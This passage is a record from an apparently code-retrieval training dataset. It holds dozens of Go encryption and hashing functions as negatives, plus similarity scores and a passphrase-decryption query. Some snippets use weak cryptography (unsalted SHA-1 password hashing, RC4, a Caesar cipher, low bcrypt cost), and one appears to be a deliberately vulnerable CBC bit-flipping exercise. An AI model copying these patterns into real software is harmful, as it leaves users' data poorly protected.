(*C.uint8_t)(&pass[0]),\n\t\tC.size_t(len(pass)),\n (*C.uint8_t)(&cipher[0]),\n\t &err)\n\n\tswitch err {\n\tcase C.TOX_ERR_ENCRYPTION_OK:\n\t\treturn cipher, nil\n\tcase C.TOX_ERR_ENCRYPTION_NULL:\n\t\treturn cipher, ErrNull\n\tcase C.TOX_ERR_ENCRYPTION_KEY_DERIVATION_FAILED:\n\t\treturn cipher, ErrKeyDerivationFailed\n\tcase C.TOX_ERR_ENCRYPTION_FAILED:\n\t\treturn cipher, ErrEncryptionFailed\n\tdefault:\n\t\treturn cipher, ErrInternal\n\t}\n}", "func (v envVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func EncryptString(publicKey []*big.Int, message string) ([]byte, error) {\n\treturn EncryptBytes(publicKey, []byte(message))\n}", "func Crypt(plaintext string) (cryptext string) {\n\tcryptext = fmt.Sprintf(\"%x\", sha1.Sum([]byte(plaintext)))\n\treturn\n}", "func encryptConfig(key []byte, clearText []byte) (string, error) {\n\tsecret := &AESSecret{}\n\tcipherBlock, err := initBlock()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce, err := randomNonce(12)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.Nonce = nonce\n\n\tgcm, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.CipherText = gcm.Seal(nil, secret.Nonce, clearText, nil)\n\n\tjsonSecret, err := json.Marshal(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(jsonSecret), nil\n}", "func (t *CryptoHandler) encryptInline(plain []byte, key, tfvf string, dblEncrypt bool, exclWhitespace bool) ([]byte, error) {\n\n\tif !dblEncrypt {\n\t\tr := regexp.MustCompile(thCryptoWrapRegExp)\n\t\tm := r.FindSubmatch(plain)\n\t\tif len(m) >= 1 {\n\t\t\treturn nil, newCryptoWrapError(errMsgAlreadyEncrypted)\n\t\t}\n\t}\n\n\ttfvu := NewTfVars(tfvf, exclWhitespace)\n\tinlineCreds, err := tfvu.Values()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinlinedText := string(plain)\n\tfor _, v := range inlineCreds {\n\t\tct, err := t.Encrypter.Encrypt(key, []byte(v))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinlinedText = strings.Replace(inlinedText, v, string(ct), -1)\n\t}\n\n\treturn []byte(inlinedText), nil\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipherText := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream := cipher.NewCTR(c, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plaintext)\n\treturn cipherText, nil\n}", "func (e aesGCMEncodedEncryptor) Encrypt(plaintext string) (ciphertext string, err error) {\n\tif len(e.primaryKey) < requiredKeyLength {\n\t\treturn \"\", &EncryptionError{errors.New(\"primary key is unavailable\")}\n\t}\n\n\tcipherbytes, err := gcmEncrypt([]byte(plaintext), e.primaryKey)\n\tif err != nil {\n\t\treturn \"\", &EncryptionError{errors.Errorf(\"unable to encrypt: %v\", err)}\n\t}\n\n\tciphertext = base64.StdEncoding.EncodeToString(cipherbytes)\n\treturn e.PrimaryKeyHash() + separator + ciphertext, nil\n}", "func EncryptPassword(pass string) (string, error) {\n\tcost := 8\n\tbytes, err := bcrypt.GenerateFromPassword([]byte(pass),cost)\n\treturn string(bytes), err\n}", "func (r *copyRunner) encrypt(plaintext []byte) ([]byte, error) {\n\tif (r.password != \"\" || r.symmetricKeyFile != \"\") && (r.publicKeyFile != \"\" || r.gpgUserID != \"\") {\n\t\treturn nil, fmt.Errorf(\"only one of the symmetric-key or public-key can be used for encryption\")\n\t}\n\n\t// Perform hybrid encryption with a public-key if it exists.\n\tif r.publicKeyFile != \"\" || r.gpgUserID != \"\" {\n\t\treturn r.encryptWithPubKey(plaintext)\n\t}\n\n\t// Encrypt with a symmetric-key if key exists.\n\tkey, err := getSymmetricKey(r.password, r.symmetricKeyFile)\n\tif errors.Is(err, errNotfound) {\n\t\treturn plaintext, nil\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get key: %w\", err)\n\t}\n\tencrypted, err := pbcrypto.Encrypt(key, plaintext)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to encrypt the plaintext: %w\", err)\n\t}\n\treturn encrypted, nil\n}", "func Encrypt(key string, plaintext string) (string, error) {\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := FunctionReadfull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream, err := FunctionEncryptStream(key, iv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], []byte(plaintext))\n\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func TestEncryptionDecryptByPassPhraseWithUnmatchedPass(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\tciphertextStr, _ := encryptByPassPhrase(passPhrase, plaintext)\n\n\tpassPhrase2 := \"1234\"\n\tplaintext2, err := decryptByPassPhrase(passPhrase2, ciphertextStr)\n\n\tassert.NotEqual(t, plaintext, plaintext2)\n\tassert.Equal(t, nil, err)\n}", "func Encrypt(key *Key, password string, attrs map[string]interface{}) ([]byte, error) {\n\tprovider := &Web3KeyStore{}\n\n\treturn provider.Write(key, password, attrs)\n}", "func encryptPassword(password string) string {\n\tencoded := sha1.New()\n\tencoded.Write([]byte(password))\n\treturn hex.EncodeToString(encoded.Sum(nil))\n}", "func encrypt(msg []byte, k key) (c []byte, err error) {\n\tnonce, err := randomNonce()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc = box.SealAfterPrecomputation(c, msg, nonce, k)\n\tc = append((*nonce)[:], c...)\n\treturn c, nil\n}", "func EncryptSharedString(user1PrivateKey *bsvec.PrivateKey, user2PubKey *bsvec.PublicKey, data string) (\r\n\t*bsvec.PrivateKey, *bsvec.PublicKey, string, error) {\r\n\r\n\t// Generate shared keys that can be decrypted by either user\r\n\tsharedPrivKey, sharedPubKey := GenerateSharedKeyPair(user1PrivateKey, user2PubKey)\r\n\r\n\t// Encrypt data with shared key\r\n\tencryptedData, err := bsvec.Encrypt(sharedPubKey, []byte(data))\r\n\r\n\treturn sharedPrivKey, sharedPubKey, hex.EncodeToString(encryptedData), err\r\n}", "func (k *Keypair) SetEncrypted(input []byte, passw string) (*Keypair, error) {\n\tif len(input) < 12 {\n\t\treturn nil, fmt.Errorf(\"invalid ciphertext\")\n\t}\n\n\tkey := Sha256H(Sha256H([]byte(passw)).Bytes())\n\tblock, err := aes.NewCipher(key.Bytes())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// 0-12 byte is nonce, 12-... is ciphertext\n\tdata, err := gcm.Open(nil, input[:12], input[12:], nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn k.SetBytes(data)\n}", "func encrypt(plaintext, associatedData []byte) ([]byte, error) {\n\tiv, err := sioutil.Random(16) // 16 bytes IV\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar algorithm byte\n\tif sioutil.NativeAES() {\n\t\talgorithm = aesGcm\n\t} else {\n\t\talgorithm = c20p1305\n\t}\n\tvar aead cipher.AEAD\n\tswitch algorithm {\n\tcase aesGcm:\n\t\tmac := hmac.New(sha256.New, derivedKey)\n\t\tmac.Write(iv)\n\t\tsealingKey := mac.Sum(nil)\n\n\t\tvar block cipher.Block\n\t\tblock, err = aes.NewCipher(sealingKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\taead, err = cipher.NewGCM(block)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\tcase c20p1305:\n\t\tvar sealingKey []byte\n\t\tsealingKey, err = chacha20.HChaCha20(derivedKey, iv) // HChaCha20 expects nonce of 16 bytes\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\taead, err = chacha20poly1305.New(sealingKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tnonce, err := sioutil.Random(aead.NonceSize())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsealedBytes := aead.Seal(nil, nonce, plaintext, associatedData)\n\n\t// ciphertext = AEAD ID | iv | nonce | sealed bytes\n\n\tvar buf bytes.Buffer\n\tbuf.WriteByte(algorithm)\n\tbuf.Write(iv)\n\tbuf.Write(nonce)\n\tbuf.Write(sealedBytes)\n\n\treturn buf.Bytes(), nil\n}", "func Encrypt(str string) (string, error) {\n\tblock, err := aes.NewCipher([]byte(os.Getenv(\"ENC_KEY\")))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t//IV needs to be unique, but doesn't have to be secure.\n\t//It's common to put it at the beginning of the ciphertext.\n\tcipherText := make([]byte, aes.BlockSize+len(str))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], []byte(str))\n\n\t//returns to base64 encoded string\n\tencmess := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encmess, nil\n}", "func encrypt(decoded string, key []byte) (string, error) {\n\tplainText := []byte(anchor + decoded)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn decoded, err\n\t}\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn decoded, err\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\tencoded := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encoded, nil\n}", "func (m *TripleDesCFB) Encrypt(key, s string) (string, error) {\n\t//set aeskey\n\terr := gocrypto.SetDesKey(gocrypto.Md5(key)[0:24])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tace, err := gocrypto.TripleDesCFBEncrypt([]byte(kpassSign + s))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(ace), nil\n}", "func (q MockService) Encrypt(input string) (encKey string, encVal string, err error) {\n\tencKey = `AQEDAHithgxYTcdIpj37aYm1VAycoViFcSM2L+KQ42Aw3R0MdAAAAH4wfAYJKoZIhvcNAQcGoG8wbQIBADBoBgkqhkiG9w0BBwEwHgYJYIZIAWUDBAEuMBEEDMrhUevDKOjuP7L1\nXAIBEIA7/F9A1spnmoaehxqU5fi8lBwiZECAvXkSI33YPgJGAsCqmlEAQuirHHp4av4lI7jjvWCIj/nyHxa6Ss8=`\n\tencVal = \"+DKd7lg8HsLD+ISl7ZrP0n6XhmrTRCYDVq4Zj9hTrL1JjxAb2fGsp/2DMSPy\"\n\terr = nil\n\n\treturn encKey, encVal, err\n}", "func (c AESCBC) Encrypt(plainText []byte) []byte {\n\t// CBC mode always works in whole blocks.\n\tplainText = PadToMultipleNBytes(plainText, len(c.key))\n\tencryptedText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(c.block, c.iv)\n\n\tfor i := 0; i < len(plainText)/aes.BlockSize; i++ {\n\t\t// CryptBlocks can work in-place if the two arguments are the same.\n\t\tmode.CryptBlocks(encryptedText[i*aes.BlockSize:(i+1)*aes.BlockSize], plainText[i*aes.BlockSize:(i+1)*aes.BlockSize])\n\t}\n\treturn encryptedText\n}", "func (app *Configurable) Encrypt(parameters map[string]string) interfaces.AppFunction {\n\talgorithm, ok := parameters[Algorithm]\n\tif !ok {\n\t\tapp.lc.Errorf(\"Could not find '%s' parameter for Encrypt\", Algorithm)\n\t\treturn nil\n\t}\n\n\tsecretName := parameters[SecretName]\n\tsecretValueKey := parameters[SecretValueKey]\n\tencryptionKey := parameters[EncryptionKey]\n\n\t// SecretName & SecretValueKey are optional if EncryptionKey specified\n\t// EncryptionKey is optional if SecretName & SecretValueKey are specified\n\n\t// If EncryptionKey not specified, then SecretName & SecretValueKey must be specified\n\tif len(encryptionKey) == 0 && (len(secretName) == 0 || len(secretValueKey) == 0) {\n\t\tapp.lc.Errorf(\"Could not find '%s' or '%s' and '%s' in configuration\", EncryptionKey, SecretName, SecretValueKey)\n\t\treturn nil\n\t}\n\n\t// SecretName & SecretValueKey both must be specified it one of them is.\n\tif (len(secretName) != 0 && len(secretValueKey) == 0) || (len(secretName) == 0 && len(secretValueKey) != 0) {\n\t\tapp.lc.Errorf(\"'%s' and '%s' both must be set in configuration\", SecretName, SecretValueKey)\n\t\treturn nil\n\t}\n\n\tswitch strings.ToLower(algorithm) {\n\tcase EncryptAES256:\n\t\tif len(secretName) > 0 && len(secretValueKey) > 0 {\n\t\t\tprotector := transforms.AESProtection{\n\t\t\t\tSecretName: secretName,\n\t\t\t\tSecretValueKey: secretValueKey,\n\t\t\t}\n\t\t\treturn protector.Encrypt\n\t\t}\n\t\tapp.lc.Error(\"secretName / secretValueKey are required for AES 256 encryption\")\n\t\treturn nil\n\tdefault:\n\t\tapp.lc.Errorf(\n\t\t\t\"Invalid encryption algorithm '%s'. Must be '%s\",\n\t\t\talgorithm,\n\t\t\tEncryptAES256)\n\t\treturn nil\n\t}\n}", "func (a *Age) Encrypt(ctx context.Context, plaintext []byte, recipients []string) ([]byte, error) {\n\t// add our own public key\n\tpks, err := a.pkself(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trecp, err := a.parseRecipients(ctx, recipients)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trecp = append(recp, pks)\n\treturn a.encrypt(plaintext, recp...)\n}", "func EciesEncrypt(sender *Account, recipentPub string, plainText []byte, iv []byte) (content string, err error) {\n\n\t// Get the shared-secret\n\t_, secretHash, err := EciesSecret(sender, recipentPub)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thashAgain := sha512.New()\n\t_, err = hashAgain.Write(secretHash[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tkeys := hashAgain.Sum(nil)\n\tkey := append(keys[:32]) // first half of sha512 hash of secret is used as key\n\tmacKey := append(keys[32:]) // second half as hmac key\n\n\t// Generate IV\n\tvar contentBuffer bytes.Buffer\n\tif len(iv) != 16 || bytes.Equal(iv, make([]byte, 16)) {\n\t\tiv = make([]byte, 16)\n\t\t_, err = rand.Read(iv)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tcontentBuffer.Write(iv)\n\n\t// AES CBC for encryption,\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcbc := cipher.NewCBCEncrypter(block, iv)\n\n\t//// create pkcs#7 padding\n\tplainText = append(plainText, func() []byte {\n\t\tpadLen := block.BlockSize() - (len(plainText) % block.BlockSize())\n\t\tpad := make([]byte, padLen)\n\t\tfor i := range pad {\n\t\t\tpad[i] = uint8(padLen)\n\t\t}\n\t\treturn pad\n\t}()...)\n\n\t// encrypt the plaintext\n\tcipherText := make([]byte, len(plainText))\n\tcbc.CryptBlocks(cipherText, plainText)\n\tcontentBuffer.Write(cipherText)\n\n\t// Sign the message using sha256 hmac, *second* half of sha512 hash used as key\n\tsigner := hmac.New(sha256.New, macKey)\n\t_, err = signer.Write(contentBuffer.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsignature := signer.Sum(nil)\n\tcontentBuffer.Write(signature)\n\n\t// base64 encode the message, and it's ready to be embedded in our FundsReq.Content or RecordSend.Content fields\n\tb64Buffer := bytes.NewBuffer([]byte{})\n\tencoded := base64.NewEncoder(base64.StdEncoding, b64Buffer)\n\t_, err = encoded.Write(contentBuffer.Bytes())\n\t_ = encoded.Close()\n\treturn string(b64Buffer.Bytes()), nil\n}", "func (k *EncryptionKey) Encrypt(plaintext []byte) ([]byte, error) {\n\treturn encrypt(plaintext, k.pk)\n}", "func Encrypt(publicKeyPath string, output string, data []byte) (encryptedKey, encryptedData string) {\n\t// Public key\n\tpublicKey := ReadRsaPublicKey(publicKeyPath)\n\n\t// AEs key\n\tkey := NewAesEncryptionKey()\n\t// fmt.Printf(\"AES key: %v \\n\", *key)\n\ttext := []byte(string(data))\n\tencrypted, _ := AesEncrypt(text, key)\n\n\t// Base64 encode\n\tencryptedRsa, _ := RsaEncrypt(key, publicKey)\n\tb64key := b64.StdEncoding.EncodeToString([]byte(encryptedRsa))\n\tsEnc := b64.StdEncoding.EncodeToString(encrypted)\n\n\treturn b64key, sEnc\n}", "func (c *Caesar) Encrypt(input string, shift uint) (ret string) {\n\td := int(shift)\n\tshiftedAlphabet := c.doShiftedAlphabed(d)\n\tfor _, v := range strings.Split(input, \"\") {\n\t\tposition := c.findInAlphabet(c.Alphabet, v)\n\t\tif position != -1 {\n\t\t\tret = ret + shiftedAlphabet[position]\n\t\t} else {\n\t\t\tret = ret + v\n\t\t}\n\t}\n\treturn\n}", "func EncryptPassword(pw string) string {\n\thasher := sha256.New()\n\tb := []byte(pw)\n\thasher.Write(b)\n\ts := \"{SHA256}\" + base64.StdEncoding.EncodeToString(hasher.Sum(nil))\n\treturn s\n}", "func (rc4Opt *RC4Opt) Encrypt(src []byte) (string, error) {\n\t/* #nosec */\n\tcipher, err := rc4.NewCipher(rc4Opt.secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdst := make([]byte, len(src))\n\tcipher.XORKeyStream(dst, src)\n\treturn hex.EncodeToString(dst), nil\n}", "func EncryptSymmetric(plaintext []byte, secret []byte) (ciphertext []byte) {\n\tif len(secret) != secretLen {\n\t\tpanic(fmt.Sprintf(\"Secret must be 32 bytes long, got len %v\", len(secret)))\n\t}\n\tnonce := crypto.CRandBytes(nonceLen)\n\tnonceArr := [nonceLen]byte{}\n\tcopy(nonceArr[:], nonce)\n\tsecretArr := [secretLen]byte{}\n\tcopy(secretArr[:], secret)\n\tciphertext = make([]byte, nonceLen+secretbox.Overhead+len(plaintext))\n\tcopy(ciphertext, nonce)\n\tsecretbox.Seal(ciphertext[nonceLen:nonceLen], plaintext, &nonceArr, &secretArr)\n\treturn ciphertext\n}", "func (item *Item) encrypt(skey []byte) error {\n\tif len(skey) == 0 {\n\t\treturn errors.New(\"empty item key for encyption\")\n\t}\n\tif item.Content == \"\" {\n\t\treturn errors.New(\"empty plainText\")\n\t}\n\tkey := item.cipherKey(skey)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tplainText := []byte(item.Content)\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn errors.New(\"iv random generation error\")\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\titem.eContent = hex.EncodeToString(cipherText)\n\treturn nil\n}", "func Encrypt() error {\n\treader := bufio.NewReader(os.Stdin)\n\tvar repoPath string\n\tvar dbPath string\n\tvar filename string\n\tvar testnet bool\n\tvar err error\n\tfor {\n\t\tfmt.Print(\"Encrypt the mainnet or testnet db?: \")\n\t\tresp, _ := reader.ReadString('\\n')\n\t\tif strings.Contains(strings.ToLower(resp), \"mainnet\") {\n\t\t\trepoPath, err = getRepoPath(false)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfilename = \"mainnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot encrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the node at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else if strings.Contains(strings.ToLower(resp), \"testnet\") {\n\t\t\trepoPath, err = getRepoPath(true)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\ttestnet = true\n\t\t\tfilename = \"testnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot encrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the daemon at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"No comprende\")\n\t\t}\n\t}\n\tvar pw string\n\tfor {\n\t\tfmt.Print(\"Enter a veerrrry strong password: \")\n\t\tbytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\t\tfmt.Println(\"\")\n\t\tresp := string(bytePassword)\n\t\tif len(resp) < 8 {\n\t\t\tfmt.Println(\"You call that a password? Try again.\")\n\t\t} else if resp != \"\" {\n\t\t\tpw = resp\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"Seriously, enter a password.\")\n\t\t}\n\t}\n\tfor {\n\t\tfmt.Print(\"Confirm your password: \")\n\t\tbytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\t\tfmt.Println(\"\")\n\t\tresp := string(bytePassword)\n\t\tif resp == pw {\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"Quit effin around. Try again.\")\n\t\t}\n\t}\n\tpw = strings.Replace(pw, \"'\", \"''\", -1)\n\ttmpPath := path.Join(repoPath, \"tmp\")\n\tsqlliteDB, err := Create(repoPath, \"\", testnet)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tif sqlliteDB.Config().IsEncrypted() {\n\t\tfmt.Println(\"The database is alredy encrypted\")\n\t\treturn nil\n\t}\n\tif err := os.MkdirAll(path.Join(repoPath, \"tmp\", \"datastore\"), os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\ttmpDB, err := Create(tmpPath, pw, testnet)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\n\tinitDatabaseTables(tmpDB.db, pw)\n\tif err := sqlliteDB.Copy(path.Join(tmpPath, \"datastore\", filename), pw); err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\terr = os.Rename(path.Join(tmpPath, \"datastore\", filename), path.Join(repoPath, \"datastore\", filename))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tos.RemoveAll(path.Join(tmpPath))\n\tfmt.Println(\"Success! You must now run openbazaard start with the --password flag.\")\n\treturn nil\n}", "func Encrypt(password string, inputFilePath string, outputFilePath string) error {\n\t_, err := core.Encrypt(password, inputFilePath, outputFilePath)\n\n\treturn err\n}", "func EncryptAESCBC256(key string, text string) (string, error) {\n\trawKey := []byte(key)\n\trawText := []byte(text)\n\n\taesCipher, err := aes.NewCipher(rawKey)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"cannot create new cipher. Error: %v\", err)\n\t}\n\n\tgcm, err := cipher.NewGCM(aesCipher)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"cannot create new GCM. Error: %v\", err)\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", fmt.Errorf(\"cannot read random bytes. Error: %v\", err)\n\t}\n\n\tcipher := gcm.Seal(nonce, nonce, rawText, nil)\n\tcipherBase64 := base64.URLEncoding.EncodeToString(cipher)\n\n\treturn cipherBase64, nil\n}", "func (e *cbcPKCS5Padding) Encrypt(base64Key, plainText string) (string, error) {\n\tkey, err := base64.StdEncoding.DecodeString(base64Key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText, err := e.encrypt([]byte(plainText), key)\n\tbase64CipherText := base64.StdEncoding.EncodeToString(cipherText)\n\treturn base64CipherText, err\n}", "func PwEncrypt(bytePw, byteSecret []byte) ([]byte, error) {\n\n\tvar secretKey [32]byte\n\tcopy(secretKey[:], byteSecret)\n\n\tvar nonce [24]byte\n\tif _, err := io.ReadFull(crypt.Reader, nonce[:]); err != nil {\n\t\treturn nil, errors.Wrap(err, \"PwEncrypt(ReadFull)\")\n\t}\n\n\treturn secretbox.Seal(nonce[:], bytePw, &nonce, &secretKey), nil\n}", "func (wa *WzAES) Encrypt(plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(wa.key[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\t_, err = io.ReadFull(rand.Reader, nonce)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn gcm.Seal(nonce, nonce, plaintext, nil), nil\n}", "func (c AESCBC) PrependAppendEncrypt(text []byte) []byte {\n\tprepended := []byte(\"comment1=cooking%20MCs;userdata=\")\n\tappended := []byte(\";comment2=%20like%20a%20pound%20of%20bacon\")\n\t// Get rid of = and ;\n\ttext = bytes.Replace(bytes.Replace(text, []byte(\"=\"), []byte(\"\"), -1), []byte(\";\"), []byte(\"\"), -1)\n\treturn c.Encrypt(append(append(prepended, text...), appended...))\n}", "func (k Key) Encrypt(plain []byte, extra ...[]byte) ([]byte, error) {\n\n\tvar extraData []byte\n\tfor _, e := range extra {\n\t\textraData = append(extraData, e...)\n\t}\n\n\tt, err := tag(hmac.New(sha512.New, []byte(k)), extraData, plain)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn append(plain, t...), nil\n}", "func (t *Crypto) Encrypt(msg, aad []byte, kh interface{}) ([]byte, []byte, error) {\n\tkeyHandle, ok := kh.(*keyset.Handle)\n\tif !ok {\n\t\treturn nil, nil, errBadKeyHandleFormat\n\t}\n\n\tps, err := keyHandle.Primitives()\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"get primitives: %w\", err)\n\t}\n\n\ta, err := aead.New(keyHandle)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"create new aead: %w\", err)\n\t}\n\n\tct, err := a.Encrypt(msg, aad)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"encrypt msg: %w\", err)\n\t}\n\n\t// Tink appends a key prefix + nonce to ciphertext, let's remove them to get the raw ciphertext\n\tivSize := nonceSize(ps)\n\tprefixLength := len(ps.Primary.Prefix)\n\tcipherText := ct[prefixLength+ivSize:]\n\tnonce := ct[prefixLength : prefixLength+ivSize]\n\n\treturn cipherText, nonce, nil\n}" ]
[ "0.8163001", "0.7622799", "0.71502745", "0.6973949", "0.68114865", "0.6789495", "0.6755763", "0.66825014", "0.66511774", "0.66387105", "0.66051626", "0.6589693", "0.65370107", "0.6518219", "0.6508857", "0.65036595", "0.6472664", "0.6462584", "0.6461147", "0.6448013", "0.6362821", "0.62840843", "0.62772804", "0.62510115", "0.62183535", "0.62173545", "0.61750865", "0.61698335", "0.6147716", "0.6142798", "0.61427605", "0.6043503", "0.5999367", "0.59974873", "0.59729487", "0.59547544", "0.5953144", "0.5941441", "0.5937768", "0.5937723", "0.59098375", "0.5862517", "0.586079", "0.58364534", "0.58326304", "0.5830932", "0.5814813", "0.58084434", "0.5794739", "0.57850033", "0.5757137", "0.57478464", "0.57228786", "0.57028836", "0.5698043", "0.5689312", "0.5685139", "0.5682187", "0.56808853", "0.5674387", "0.5664937", "0.56436217", "0.56370384", "0.56303495", "0.5614105", "0.55871844", "0.55841625", "0.5581628", "0.5576751", "0.5571178", "0.55660194", "0.5553391", "0.5541531", "0.55397516", "0.5533616", "0.55148363", "0.550862", "0.5504633", "0.5498083", "0.5490192", "0.5477967", "0.54691285", "0.54551536", "0.5453585", "0.54526407", "0.5446927", "0.54394776", "0.5419362", "0.54192656", "0.54116285", "0.53966784", "0.53949416", "0.53864795", "0.5385059", "0.53847665", "0.5383411", "0.53741616", "0.5371098", "0.53680426", "0.5352534" ]
0.79978836
1
DecryptText decrypts text using a literal passphrase
func (v passPhraseVault) DecryptText(text string) (string, error) { return DecryptText(text, v.passPhrase) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
